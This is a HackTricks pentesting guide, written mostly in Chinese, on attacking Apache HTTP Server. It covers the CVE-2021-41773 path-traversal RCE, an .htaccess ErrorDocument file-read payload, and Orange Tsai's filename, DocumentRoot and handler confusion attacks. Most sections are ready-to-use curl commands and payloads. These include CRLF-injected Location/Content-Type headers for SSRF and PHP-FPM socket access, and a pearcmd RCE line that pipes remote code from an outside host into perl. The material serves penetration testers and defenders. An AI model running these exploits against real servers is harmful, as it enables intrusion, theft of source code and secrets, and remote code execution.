Apache
Reading time: 16 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
可执行的 PHP 扩展
检查 Apache 服务器正在执行哪些扩展。要查找它们,你可以执行:
grep -R -B1 "httpd-php" /etc/apache2
此外,您可以在以下一些位置找到此配置:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI 通过 .htaccess ErrorDocument 文件提供程序 (ap_expr)
如果你能控制某个目录的 .htaccess 且 AllowOverride 包含该路径的 FileInfo,你可以通过在 ErrorDocument 中使用 ap_expr 的 file() 函数将 404 响应转为任意本地文件读取。
- 要求:
- Apache 2.4 且启用 expression parser (ap_expr)(2.4 中默认启用)。
- 虚拟主机/目录必须允许 .htaccess 设置 ErrorDocument(AllowOverride FileInfo)。
- Apache 工作进程用户必须对目标文件具有读取权限。
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
通过请求该目录下的任何不存在的路径来触发,例如在滥用 userdir-style hosting 时:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
注意和提示:
- 只有绝对路径有效。内容会作为 404 处理程序的响应主体返回。
- 实际的读取权限以 Apache 用户 为准(通常是 www-data/apache)。在默认设置下,你无法读取 /root/* 或 /etc/shadow。
- 即使 .htaccess 属于 root,如果父目录属于租户并允许重命名,你可能能够重命名原始的 .htaccess 并通过 SFTP/FTP 上传你自己的替换文件:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- 可利用此方法读取 DocumentRoot 或 vhost 配置路径下的应用程序源代码,以窃取密钥(如 DB creds、API keys 等)。
Confusion Attack
These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
Filename Confusion
Truncation
The mod_rewrite
will trim the content of r->filename
after the character ?
(modules/mappers/mod_rewrite.c#L4141). 这并不完全错误,因为大多数模块会把 r->filename
当作 URL 处理。但在其他情况下,它会被当作文件路径处理,这就会造成问题。
- Path Truncation
可以像下面的规则示例一样滥用 mod_rewrite
来访问文件系统中的其他文件,只需在预期路径的末尾添加一个 ?
来移除最后一部分即可:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Mislead RewriteFlag Assignment
在下面的重写规则中,只要 URL 以 .php 结尾,就会被当作 php 处理并执行。因此,可以在 ?
字符之后发送一个以 .php 结尾的 URL,同时在路径中加载不同类型的文件(例如图片),该文件内部包含恶意 php 代码:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
可以访问用户本不应能访问的文件,即使配置应该拒绝访问,例如:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
这是因为默认情况下,PHP-FPM 会接收以 .php
结尾的 URL,例如 http://server/admin.php%3Fooo.php
,并且 PHP-FPM 会移除 ?
字符之后的任何内容,因此上述 URL 将允许加载 /admin.php
,即使之前的规则禁止了它。
DocumentRoot 混淆
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
关于 Apache 的一个有趣事实是,前面的 rewrite 会同时尝试从 documentRoot 和 root 访问文件。因此,对 https://server/abouth.html
的请求会在文件系统中检查 /var/www/html/about.html
和 /about.html
。这基本上可以被滥用来访问文件系统中的文件。
Server-Side Source Code Disclosure
- Disclose CGI Source Code
只需在末尾添加 %3F 就足以 leak cgi 模块的源代码:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- 泄露 PHP 源代码
如果服务器有不同的域名,其中一个为静态域名,则可以滥用该情况遍历文件系统并 leak php 代码:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
本地 Gadgets 操作
之前攻击的主要问题是,默认情况下对文件系统的大多数访问会被拒绝,如 Apache HTTP Server 的 configuration template 中所示:
<Directory />
AllowOverride None
Require all denied
</Directory>
但是,Debian/Ubuntu 操作系统默认允许 /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Therefore, it would be possible to abuse files located inside /usr/share
in these distributions.
本地 Gadget 导致 Information Disclosure
- Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/,这可能会 leak 敏感的环境变量。
- 部署有 Nginx 或 Jetty 的服务器可能会通过位于 /usr/share 下的默认 web 根暴露敏感的 web 应用信息(例如 web.xml):
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
本地 Gadget 导致 XSS
- 在安装了 LibreOffice 的 Ubuntu Desktop 上,利用帮助文件的语言切换功能可能导致 Cross-Site Scripting (XSS)。通过操纵位于 /usr/share/libreoffice/help/help.html 的 URL,可以通过不安全的 RewriteRule 重定向到恶意页面或旧版本。
本地 Gadget 导致 LFI
- 如果安装了 PHP 或某些前端包(如 JpGraph 或 jQuery-jFeed),它们的文件可能被利用来读取敏感文件,例如 /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
本地 Gadget 导致 SSRF
- 利用 MagpieRSS 的 magpie_debug.php(位于 /usr/share/php/magpierss/scripts/magpie_debug.php)可以轻易制造 SSRF 漏洞,为进一步利用提供入口。
本地 Gadget 导致 RCE
- Remote Code Execution (RCE) 的机会很多,像过时的 PHPUnit 或 phpLiteAdmin 等易受攻击的安装可以被利用来执行任意代码,展示了本地 gadget 操作的广泛潜力。
从本地 Gadgets 越狱
也可以通过跟随已安装软件在这些文件夹中生成的符号链接从允许的文件夹中越狱,例如:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
此外,通过滥用符号链接曾经能够在 Redmine 中获得 RCE。
Handler Confusion
此攻击利用了 AddHandler
和 AddType
指令功能重叠的情况,两者都可用于 enable PHP processing。最初,这些指令在服务器内部结构中影响不同的字段(分别为 r->handler
和 r->content_type
)。然而,由于遗留代码,Apache 在某些条件下会互换处理这些指令:如果设置了 r->content_type
而 r->handler
未设置,会将 r->content_type
转换为 r->handler
。
此外,在 Apache HTTP Server(server/config.c#L420
)中,如果在执行 ap_run_handler()
之前 r->handler
为空,服务器会 使用 r->content_type
作为 handler,实际上使得 AddType
和 AddHandler
在效果上等同。
Overwrite Handler to Disclose PHP Source Code
在 this talk 中,展示了一个漏洞:客户端发送的错误 Content-Length
可能导致 Apache 错误地 返回 PHP 源代码。这是由于 ModSecurity 与 Apache Portable Runtime (APR) 的错误处理问题,当发生双重响应时会将 r->content_type
覆盖为 text/html
。
因为 ModSecurity 没有正确处理返回值,它会返回 PHP 代码而不会对其进行解释。
Overwrite Handler to XXXX
TODO: Orange 尚未披露此漏洞
Invoke Arbitrary Handlers
如果攻击者能够控制服务器响应中的 Content-Type
头,他就能够 invoke arbitrary module handlers。不过,到了攻击者能控制这一点时,请求的大部分处理流程通常已完成。然而,可以通过滥用 Location
头 重启请求流程,因为如果返回的 Status
为 200 且 Location
头以 /
开头,该响应会被视为服务器端重定向(Server-Side Redirection)并应被重新处理。
根据 RFC 3875(关于 CGI 的规范)在 Section 6.2.2 中定义了本地重定向响应的行为:
CGI script 可以在 Location header field 中返回一个指向本地资源的 URI 路径和查询字符串(‘local-pathquery’)。这表示服务器应该使用指定的路径重新处理该请求。
因此,要执行此攻击,需要具备以下之一的漏洞:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Arbitrary Handler to Information Disclosure
For example /server-status
should only be accessible locally:
<Location /server-status>
SetHandler server-status
Require local
</Location>
可以通过将 Content-Type
设置为 server-status
并将 Location header 的值设为以 /
开头来访问它。
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
从任意处理程序到完全 SSRF
重定向到 mod_proxy
以访问任意 URL 上的任意协议:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
然而,X-Forwarded-For
头被添加,阻止访问云元数据端点。
任意 Handler 用于访问本地 Unix 域套接字
访问 PHP-FPM 的本地 Unix 域套接字以执行位于 /tmp/
的 PHP 后门:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
官方 PHP Docker 镜像包含 PEAR (Pearcmd.php
),这是一个命令行 PHP 包管理工具,可被滥用以获得 RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
详情请参阅 Docker PHP LFI Summary,作者为 Phith0n,以获取该技术的详细信息。
参考资料
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。